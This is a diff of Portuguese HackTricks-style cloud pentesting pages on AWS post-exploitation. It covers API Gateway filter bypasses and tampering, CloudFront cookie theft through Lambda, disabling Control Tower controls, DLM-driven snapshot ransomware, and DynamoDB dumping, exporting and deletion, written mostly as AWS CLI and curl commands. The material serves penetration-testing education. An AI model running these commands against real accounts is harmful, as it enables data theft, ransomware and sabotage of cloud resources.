-Então, a partir da máquina EC2, você poderá acessar o endpoint e, portanto, chamar a API do gateway que não estava exposta anteriormente.
+Você pode criar um endpoint em [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) com o service `com.amazonaws.us-east-1.execute-api`, expor o endpoint em uma rede à qual você tenha acesso (potencialmente via uma máquina EC2) e atribuir um security group permitindo todas as conexões.\
+Então, a partir da máquina EC2 você poderá acessar o endpoint e, portanto, chamar o API Gateway que não estava exposto antes.
 
-### Bypass do corpo da requisição
+### Contornar o passthrough do corpo da requisição
 
-Esta técnica foi encontrada em [**este writeup de CTF**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
+Esta técnica foi encontrada em [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
 
-Conforme indicado na [**documentação da AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) na seção `PassthroughBehavior`, por padrão, o valor **`WHEN_NO_MATCH`**, ao verificar o cabeçalho **Content-Type** da requisição, passará a requisição para o back end sem transformação.
+Como indicado na [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) na seção `PassthroughBehavior`, por padrão, o valor **`WHEN_NO_MATCH`**, ao verificar o cabeçalho **Content-Type** da requisição, irá passar a requisição para o back end sem qualquer transformação.
 
-Portanto, no CTF, o API Gateway tinha um template de integração que estava **impedindo que a flag fosse exfiltrada** em uma resposta quando uma requisição era enviada com `Content-Type: application/json`:
+Portanto, no CTF o API Gateway tinha um integration template que estava **impedindo a exfiltração da flag** em uma resposta quando uma requisição era enviada com `Content-Type: application/json`:
 ```yaml
 RequestTemplates:
 application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
 ```
-No entanto, enviar uma solicitação com **`Content-type: text/json`** impediria esse filtro.
+No entanto, enviar uma requisição com **`Content-type: text/json`** contornaria esse filtro.
 
-Finalmente, como o API Gateway estava permitindo apenas `Get` e `Options`, era possível enviar uma consulta arbitrária do dynamoDB sem nenhum limite, enviando uma solicitação POST com a consulta no corpo e usando o cabeçalho `X-HTTP-Method-Override: GET`:
+Por fim, como o API Gateway só permitia `Get` e `Options`, era possível enviar uma query arbitrária ao dynamoDB sem qualquer limitação, enviando uma requisição POST com a query no corpo e usando o header `X-HTTP-Method-Override: GET`:
 ```bash
 curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
 ```
-### Planos de Uso DoS
+### Usage Plans DoS
 
-Na seção **Enumeração**, você pode ver como **obter o plano de uso** das chaves. Se você tiver a chave e ela estiver **limitada** a X usos **por mês**, você pode **apenas usá-la e causar um DoS**.
+Na seção **Enumeration** você pode ver como **obter o usage plan** das chaves. Se você tiver a chave e ela estiver **limitada** a X usos **por mês**, você poderia **simplesmente usá-la e causar um DoS**.
 
-A **API Key** só precisa ser **incluída** dentro de um **cabeçalho HTTP** chamado **`x-api-key`**.
+A **API Key** só precisa ser **incluída** em um **HTTP header** chamado **`x-api-key`**.
 
 ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
 
-Um atacante com as permissões `apigateway:UpdateGatewayResponse` e `apigateway:CreateDeployment` pode **modificar uma Resposta de Gateway existente para incluir cabeçalhos personalizados ou modelos de resposta que vazam informações sensíveis ou executem scripts maliciosos**.
+Um atacante com as permissões `apigateway:UpdateGatewayResponse` e `apigateway:CreateDeployment` pode **modificar um Gateway Response existente para incluir headers customizados ou response templates que leak informações sensíveis ou executem scripts maliciosos**.
 ```bash
 API_ID="your-api-id"
 RESPONSE_TYPE="DEFAULT_4XX"
@@ -53,12 +53,12 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
 **Impacto Potencial**: Vazamento de informações sensíveis, execução de scripts maliciosos ou acesso não autorizado a recursos da API.
 
-> [!NOTA]
-> Necessita de teste
+> [!NOTE]
+> Necessita de testes
 
 ### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
 
-Um atacante com as permissões `apigateway:UpdateStage` e `apigateway:CreateDeployment` pode **modificar um estágio existente do API Gateway para redirecionar o tráfego para um estágio diferente ou alterar as configurações de cache para obter acesso não autorizado a dados em cache**.
+Um atacante com as permissões `apigateway:UpdateStage` e `apigateway:CreateDeployment` pode **modificar um stage existente do API Gateway para redirecionar o tráfego para um stage diferente ou alterar as configurações de cache para obter acesso não autorizado a dados em cache**.
 ```bash
 API_ID="your-api-id"
 STAGE_NAME="Prod"
@@ -69,14 +69,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Impacto Potencial**: Acesso não autorizado a dados em cache, interrompendo ou interceptando o tráfego da API.
+**Impacto Potencial**: Acesso não autorizado a dados em cache, interrupção ou interceptação do tráfego da API.
 
-> [!NOTA]
-> Necessita de teste
+> [!NOTE]
+> Necessita de testes
 
 ### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
 
-Um atacante com as permissões `apigateway:PutMethodResponse` e `apigateway:CreateDeployment` pode **modificar a resposta do método de um método REST API existente do API Gateway para incluir cabeçalhos personalizados ou templates de resposta que vazam informações sensíveis ou executem scripts maliciosos**.
+Um atacante com as permissões `apigateway:PutMethodResponse` e `apigateway:CreateDeployment` pode **modificar o Method Response de um método existente do API Gateway REST API para incluir headers personalizados ou response templates que leak informações sensíveis ou executem scripts maliciosos**.
 ```bash
 API_ID="your-api-id"
 RESOURCE_ID="your-resource-id"
@@ -89,14 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Impacto Potencial**: Vazamento de informações sensíveis, execução de scripts maliciosos ou acesso não autorizado a recursos da API.
+**Impacto Potencial**: Leakage de informações sensíveis, execução de scripts maliciosos ou acesso não autorizado a recursos da API.
 
-> [!NOTA]
-> Necessita de teste
+> [!NOTE]
+> Necessita de testes
 
 ### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
 
-Um atacante com as permissões `apigateway:UpdateRestApi` e `apigateway:CreateDeployment` pode **modificar as configurações da API Gateway REST API para desativar o registro ou alterar a versão mínima do TLS, potencialmente enfraquecendo a segurança da API**.
+Um atacante com as permissões `apigateway:UpdateRestApi` e `apigateway:CreateDeployment` pode **modificar as configurações do API Gateway REST API para desabilitar logs ou alterar a versão mínima de TLS, potencialmente enfraquecendo a segurança da API**.
 ```bash
 API_ID="your-api-id"
 
@@ -106,14 +106,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Impacto Potencial**: Enfraquecimento da segurança da API, permitindo potencialmente acesso não autorizado ou expondo informações sensíveis.
+**Impacto Potencial**: Enfraquecimento da segurança da API, potencialmente permitindo acesso não autorizado ou expondo informações sensíveis.
 
 > [!NOTE]
-> Necessita de teste
+> Necessita de testes
 
 ### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
 
-Um atacante com permissões `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` e `apigateway:CreateUsagePlanKey` pode **criar novas chaves de API, associá-las a planos de uso e, em seguida, usar essas chaves para acesso não autorizado às APIs**.
+Um atacante com permissões `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, e `apigateway:CreateUsagePlanKey` pode **criar novas chaves de API, associá-las a planos de uso e então usar essas chaves para acesso não autorizado às APIs**.
 ```bash
 # Create a new API key
 API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
@@ -124,9 +124,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp
 # Associate the API key with the usage plan
 aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
 ```
-**Impacto Potencial**: Acesso não autorizado a recursos da API, contornando controles de segurança.
+**Potential Impact**: Acesso não autorizado a recursos de API, contornando controles de segurança.
 
-> [!NOTA]
-> Necessita de teste
+> [!NOTE]
+> Necessita de testes
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
deleted file mode 100644
index 02be5d127..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
+++ /dev/null
@@ -1,31 +0,0 @@
-# AWS - CloudFront Pós-Exploração
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## CloudFront
-
-Para mais informações, consulte:
-
-{{#ref}}
-../aws-services/aws-cloudfront-enum.md
-{{#endref}}
-
-### Man-in-the-Middle
-
-Este [**post de blog**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propõe alguns cenários diferentes onde uma **Lambda** poderia ser adicionada (ou modificada se já estiver em uso) em uma **comunicação através do CloudFront** com o propósito de **roubar** informações do usuário (como o **cookie** da sessão) e **modificar** a **resposta** (injetando um script JS malicioso).
-
-#### cenário 1: MitM onde o CloudFront está configurado para acessar algum HTML de um bucket
-
-- **Criar** a **função** maliciosa.
-- **Associá-la** à distribuição do CloudFront.
-- Definir o **tipo de evento como "Viewer Response"**.
-
-Acessando a resposta, você poderia roubar o cookie dos usuários e injetar um JS malicioso.
-
-#### cenário 2: MitM onde o CloudFront já está usando uma função lambda
-
-- **Modificar o código** da função lambda para roubar informações sensíveis.
-
-Você pode verificar o [**código tf para recriar esses cenários aqui**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md
new file mode 100644
index 000000000..afd48ca9a
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md
@@ -0,0 +1,31 @@
+# AWS - CloudFront Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## CloudFront
+
+Para mais informações, veja:
+
+{{#ref}}
+../../aws-services/aws-cloudfront-enum.md
+{{#endref}}
+
+### Man-in-the-Middle
+
+Este [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propõe alguns cenários diferentes onde uma **Lambda** poderia ser adicionada (ou modificada se já estiver sendo usada) em uma **comunicação através do CloudFront** com o propósito de **roubar** informações do usuário (como o **cookie** de sessão) e **modificar** a **response** (injetando um script JS malicioso).
+
+#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
+
+- **Crie** a **função** maliciosa.
+- **Associe** a função à distribuição do CloudFront.
+- **Defina o event type para "Viewer Response"**.
+
+Ao acessar a resposta, você pode roubar o cookie dos usuários e injetar um JS malicioso.
+
+#### scenario 2: MitM where CloudFront is already using a lambda function
+
+- **Modifique o código** da função Lambda para roubar informações sensíveis
+
+Você pode verificar o [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
deleted file mode 100644
index 1f976ca5d..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
+++ /dev/null
@@ -1,18 +0,0 @@
-# AWS - Controle de Torre Pós Exploração
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Controle de Torre
-
-{{#ref}}
-../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
-{{#endref}}
-
-### Habilitar / Desabilitar Controles
-
-Para explorar ainda mais uma conta, você pode precisar desabilitar/habilitar os controles do Controle de Torre:
-```bash
-aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
-aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md
new file mode 100644
index 000000000..b308c9370
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md
@@ -0,0 +1,18 @@
+# AWS - Control Tower Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Control Tower
+
+{{#ref}}
+../../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
+{{#endref}}
+
+### Enable / Disable Controls
+
+Para explorar mais uma conta, pode ser necessário desativar/ativar os controles do Control Tower:
+```bash
+aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
+aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
deleted file mode 100644
index c02bdb91b..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
+++ /dev/null
@@ -1,91 +0,0 @@
-# AWS - DLM Pós Exploração
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Gerenciador de Ciclo de Vida de Dados (DLM)
-
-### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
-
-Um ataque de ransomware pode ser executado criptografando o maior número possível de volumes EBS e, em seguida, apagando as instâncias EC2 atuais, volumes EBS e snapshots. Para automatizar essa atividade maliciosa, pode-se empregar o Amazon DLM, criptografando os snapshots com uma chave KMS de outra conta AWS e transferindo os snapshots criptografados para uma conta diferente. Alternativamente, eles podem transferir snapshots sem criptografia para uma conta que gerenciam e, em seguida, criptografá-los lá. Embora não seja simples criptografar volumes EBS ou snapshots existentes diretamente, é possível fazê-lo criando um novo volume ou snapshot.
-
-Primeiramente, usará um comando para coletar informações sobre os volumes, como ID da instância, ID do volume, status de criptografia, status de anexação e tipo de volume.
-
-`aws ec2 describe-volumes`
-
-Em segundo lugar, criará a política de ciclo de vida. Este comando utiliza a API DLM para configurar uma política de ciclo de vida que automaticamente tira snapshots diários dos volumes especificados em um horário designado. Também aplica tags específicas aos snapshots e copia tags dos volumes para os snapshots. O arquivo policyDetails.json inclui os detalhes da política de ciclo de vida, como tags alvo, cronograma, o ARN da chave KMS opcional para criptografia e a conta alvo para compartilhamento de snapshots, que será registrado nos logs do CloudTrail da vítima.
-```bash
-aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
-```
-Um modelo para o documento de política pode ser visto aqui:
-```bash
-{
-"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
-"ResourceTypes": [
-"VOLUME"
-],
-"TargetTags": [
-{
-"Key": "ExampleKey",
-"Value": "ExampleValue"
-}
-],
-"Schedules": [
-{
-"Name": "DailySnapshots",
-"CopyTags": true,
-"TagsToAdd": [
-{
-"Key": "SnapshotCreator",
-"Value": "DLM"
-}
-],
-"VariableTags": [
-{
-"Key": "CostCenter",
-"Value": "Finance"
-}
-],
-"CreateRule": {
-"Interval": 24,
-"IntervalUnit": "HOURS",
-"Times": [
-"03:00"
-]
-},
-"RetainRule": {
-"Count": 14
-},
-"FastRestoreRule": {
-"Count": 2,
-"Interval": 12,
-"IntervalUnit": "HOURS"
-},
-"CrossRegionCopyRules": [
-{
-"TargetRegion": "us-west-2",
-"Encrypted": true,
-"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
-"CopyTags": true,
-"RetainRule": {
-"Interval": 1,
-"IntervalUnit": "DAYS"
-}
-}
-],
-"ShareRules": [
-{
-"TargetAccounts": [
-"123456789012"
-],
-"UnshareInterval": 30,
-"UnshareIntervalUnit": "DAYS"
-}
-]
-}
-],
-"Parameters": {
-"ExcludeBootVolume": false
-}
-}
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md
new file mode 100644
index 000000000..f4e6721a5
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md
@@ -0,0 +1,91 @@
+# AWS - DLM Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Data Lifecycle Manger (DLM)
+
+### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
+
+Um ransomware attack pode ser executado criptografando o máximo de volumes EBS possível e depois apagando as instâncias EC2 atuais, os volumes EBS e os snapshots. Para automatizar essa atividade maliciosa, é possível utilizar o Amazon DLM, criptografando os snapshots com uma chave KMS de outra conta AWS e transferindo os snapshots criptografados para uma conta diferente. Alternativamente, podem transferir snapshots sem criptografia para uma conta que controlam e então criptografá-los lá. Embora não seja simples criptografar diretamente volumes EBS ou snapshots existentes, é possível conseguir isso criando um novo volume ou snapshot.
+
+Primeiro, será usado um comando para coletar informações sobre os volumes, como instance ID, volume ID, status de encryption, status de attachment e type do volume.
+
+`aws ec2 describe-volumes`
+
+Em seguida, será criada a política de lifecycle. Esse comando utiliza a API do DLM para configurar uma lifecycle policy que tira automaticamente snapshots diários dos volumes especificados em um horário determinado. Ela também aplica tags específicas aos snapshots e copia tags dos volumes para os snapshots. O arquivo policyDetails.json inclui os detalhes da lifecycle policy, como tags alvo, cronograma, o ARN da chave KMS opcional para encryption e a conta alvo para o compartilhamento dos snapshots, que ficará registrada nos logs do CloudTrail da vítima.
+```bash
+aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
+```
+Um modelo para o documento de política pode ser visto aqui:
+```bash
+{
+"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
+"ResourceTypes": [
+"VOLUME"
+],
+"TargetTags": [
+{
+"Key": "ExampleKey",
+"Value": "ExampleValue"
+}
+],
+"Schedules": [
+{
+"Name": "DailySnapshots",
+"CopyTags": true,
+"TagsToAdd": [
+{
+"Key": "SnapshotCreator",
+"Value": "DLM"
+}
+],
+"VariableTags": [
+{
+"Key": "CostCenter",
+"Value": "Finance"
+}
+],
+"CreateRule": {
+"Interval": 24,
+"IntervalUnit": "HOURS",
+"Times": [
+"03:00"
+]
+},
+"RetainRule": {
+"Count": 14
+},
+"FastRestoreRule": {
+"Count": 2,
+"Interval": 12,
+"IntervalUnit": "HOURS"
+},
+"CrossRegionCopyRules": [
+{
+"TargetRegion": "us-west-2",
+"Encrypted": true,
+"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
+"CopyTags": true,
+"RetainRule": {
+"Interval": 1,
+"IntervalUnit": "DAYS"
+}
+}
+],
+"ShareRules": [
+{
+"TargetAccounts": [
+"123456789012"
+],
+"UnshareInterval": 30,
+"UnshareIntervalUnit": "DAYS"
+}
+]
+}
+],
+"Parameters": {
+"ExcludeBootVolume": false
+}
+}
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md
similarity index 69%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md
index 48fa69d4a..ab9f0d3c5 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md
@@ -1,18 +1,18 @@
 # AWS - DynamoDB Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## DynamoDB
 
-Para mais informações, consulte:
+Para mais informações veja:
 
 {{#ref}}
-../aws-services/aws-dynamodb-enum.md
+../../aws-services/aws-dynamodb-enum.md
 {{#endref}}
 
 ### `dynamodb:BatchGetItem`
 
-Um atacante com essa permissão poderá **obter itens de tabelas pela chave primária** (você não pode simplesmente solicitar todos os dados da tabela). Isso significa que você precisa conhecer as chaves primárias (você pode obtê-las consultando os metadados da tabela (`describe-table`).
+Um atacante com essa permissão poderá **obter itens das tabelas pela chave primária** (você não pode simplesmente pedir todos os dados da tabela). Isso significa que você precisa conhecer as chaves primárias (você pode obtê-las pegando os metadados da tabela (`describe-table`).
 
 {{#tabs }}
 {{#tab name="json file" }}
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
 {{#endtab }}
 {{#endtabs }}
 
-**Impacto potencial:** privesc indireto ao localizar informações sensíveis na tabela
+**Impacto potencial:** Elevação de privilégios indireta (privesc) ao localizar informações sensíveis na tabela
 
 ### `dynamodb:GetItem`
 
-**Semelhante às permissões anteriores**, esta permite que um potencial atacante leia valores de apenas 1 tabela, desde que possua a chave primária do item a recuperar:
+**Semelhante às permissões anteriores** esta permite que um atacante potencial leia valores de apenas 1 tabela dada a chave primária da entrada a recuperar:
 ```json
 aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json
 
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json
 }
 }
 ```
-Com essa permissão, também é possível usar o método **`transact-get-items`** como:
+Com essa permissão também é possível usar o método **`transact-get-items`** assim:
 ```json
 aws dynamodb transact-get-items \
 --transact-items file:///tmp/a.json
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
 }
 ]
 ```
-**Impacto Potencial:** Elevação de privilégios indireta (privesc) ao localizar informações sensíveis na tabela
+**Impacto Potencial:** privesc indireta ao localizar informações sensíveis na tabela
 
 ### `dynamodb:Query`
 
-**Semelhante às permissões anteriores** esta permite que um atacante potencial leia valores de apenas 1 tabela dado a chave primária da entrada a ser recuperada. Permite usar um [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), mas a única comparação permitida com a chave primária (que deve aparecer) é "EQ", então você não pode usar uma comparação para obter todo o DB em uma requisição.
+**Semelhante às permissões anteriores**, esta permite que um atacante potencial leia valores de apenas 1 tabela dado a chave primária da entrada a ser recuperada. Permite usar um [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), mas a única comparação permitida com a chave primária (que deve aparecer) é "EQ", então você não pode usar uma comparação para obter todo o DB em uma requisição.
 
 {{#tabs }}
 {{#tab name="json file" }}
@@ -107,35 +107,35 @@ aws dynamodb query \
 {{#endtab }}
 {{#endtabs }}
 
-**Impacto Potencial:** Privesc indireto ao localizar informações sensíveis na tabela
+**Impacto potencial:** Indirect privesc ao localizar informações sensíveis na tabela
 
 ### `dynamodb:Scan`
 
-Você pode usar esta permissão para **dump the entire table easily**.
+Você pode usar esta permissão para **dump a tabela inteira facilmente**.
 ```bash
 aws dynamodb scan --table-name <t_name> #Get data inside the table
 ```
-**Impacto potencial:** Privesc indireta por localizar informações sensíveis na tabela
+**Impacto Potencial:** privesc indireto ao localizar informações sensíveis na tabela
 
 ### `dynamodb:PartiQLSelect`
 
-Você pode usar essa permissão para **dump toda a tabela facilmente**.
+Você pode usar esta permissão para **dump the entire table easily**.
 ```bash
 aws dynamodb execute-statement \
 --statement "SELECT * FROM ProductCatalog"
 ```
-Essa permissão também permite executar `batch-execute-statement` como:
+Esta permissão também permite executar `batch-execute-statement` como:
 ```bash
 aws dynamodb batch-execute-statement \
 --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
 ```
-mas você precisa especificar a chave primária com um valor, então isso não é tão útil.
+mas é necessário especificar a chave primária com um valor, então isso não é tão útil.
 
-**Impacto Potencial:** privesc indireta ao localizar informações sensíveis na tabela
+**Potential Impact:** Escalada de privilégios indireta (indirect privesc) ao localizar informações sensíveis na tabela
 
 ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
 
-Esta permissão permitirá que um atacante **exporte toda a tabela para um S3 bucket** de sua escolha:
+Essa permissão permitirá que um atacante **exporte a tabela inteira para um S3 bucket** de sua escolha:
 ```bash
 aws dynamodb export-table-to-point-in-time \
 --table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
@@ -144,22 +144,23 @@ aws dynamodb export-table-to-point-in-time \
 --export-time <point_in_time> \
 --region <region>
 ```
-Observe que, para isso funcionar, a tabela precisa ter point-in-time-recovery habilitado. Você pode verificar se a tabela possui isso com:
+Observe que, para isso funcionar, a tabela precisa ter point-in-time-recovery habilitado; você pode verificar se a tabela tem isso com:
 ```bash
 aws dynamodb describe-continuous-backups \
 --table-name <tablename>
 ```
-Se não estiver habilitado, você precisará **ativá-lo** e, para isso, precisa da permissão **`dynamodb:ExportTableToPointInTime`**:
+Se não estiver ativado, você precisará **ativá-lo** e, para isso, precisa da permissão **`dynamodb:ExportTableToPointInTime`**:
 ```bash
 aws dynamodb update-continuous-backups \
 --table-name <value> \
 --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
 ```
-**Impacto Potencial:** privesc indireto ao localizar informações sensíveis na tabela
+**Impacto Potencial:** privesc indireta ao localizar informações sensíveis na tabela
 
 ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
 
-Com essas permissões, um atacante seria capaz de **criar uma nova tabela a partir de um backup** (ou até criar um backup para depois restaurá-lo em uma tabela diferente). Em seguida, com as permissões necessárias, ele poderia verificar as **informações** dos backups que **não poderiam mais estar na tabela de produção**.
+
+Com essas permissões, um atacante seria capaz de **criar uma nova tabela a partir de um backup** (ou até criar um backup para então restaurá-lo em uma tabela diferente). Então, com as permissões necessárias, ele seria capaz de verificar **informações** dos backups que **não podem mais estar na tabela de produção**.
 ```bash
 aws dynamodb restore-table-from-backup \
 --backup-arn <source-backup-arn> \
@@ -170,7 +171,7 @@ aws dynamodb restore-table-from-backup \
 
 ### `dynamodb:PutItem`
 
-Esta permissão permite que usuários adicionem um **novo item à tabela ou substituam um item existente** por um novo item. Se um item com a mesma chave primária já existir, o **item inteiro será substituído** pelo novo item. Se a chave primária não existir, um novo item com a chave primária especificada será **criado**.
+Essa permissão permite que usuários adicionem um **novo item à tabela ou substituam um item existente** por um novo item. Se um item com a mesma chave primária já existir, o **item inteiro será substituído** pelo novo item. Se a chave primária não existir, um novo item com a chave primária especificada será **criado**.
 
 {{#tabs }}
 {{#tab name="XSS Example" }}
@@ -202,11 +203,11 @@ aws dynamodb put-item \
 {{#endtab }}
 {{#endtabs }}
 
-**Potential Impact:** Exploração de vulnerabilidades/bypasses adicionais ao poder adicionar/modificar dados em uma tabela do DynamoDB
+**Impacto potencial:** Exploração de vulnerabilidades/bypasses adicionais ao conseguir adicionar/modificar dados em uma tabela DynamoDB
 
 ### `dynamodb:UpdateItem`
 
-Essa permissão permite que usuários **modifiquem os atributos existentes de um item ou adicionem novos atributos a um item**. Ela **não substitui** o item inteiro; apenas atualiza os atributos especificados. Se a chave primária não existir na tabela, a operação **criará um novo item** com a chave primária especificada e definirá os atributos especificados na expressão de atualização.
+Esta permissão permite aos usuários **modificar os atributos existentes de um item ou adicionar novos atributos a um item**. Ela **não substitui** o item inteiro; apenas atualiza os atributos especificados. Se a chave primária não existir na tabela, a operação irá **criar um novo item** com a chave primária especificada e definir os atributos especificados na expressão de atualização.
 
 {{#tabs }}
 {{#tab name="XSS Example" }}
@@ -242,17 +243,17 @@ aws dynamodb update-item \
 {{#endtab }}
 {{#endtabs }}
 
-**Impacto Potencial:** Exploração de vulnerabilidades/bypasses adicionais por poder adicionar/modificar dados em uma tabela DynamoDB
+**Impacto Potencial:** Exploração de vulnerabilidades/bypasses adicionais ao poder adicionar/modificar dados em uma tabela DynamoDB
 
 ### `dynamodb:DeleteTable`
 
-Um atacante com essa permissão pode **excluir uma tabela DynamoDB, causando perda de dados**
+Um atacante com essa permissão pode **excluir uma tabela DynamoDB, causando perda de dados**.
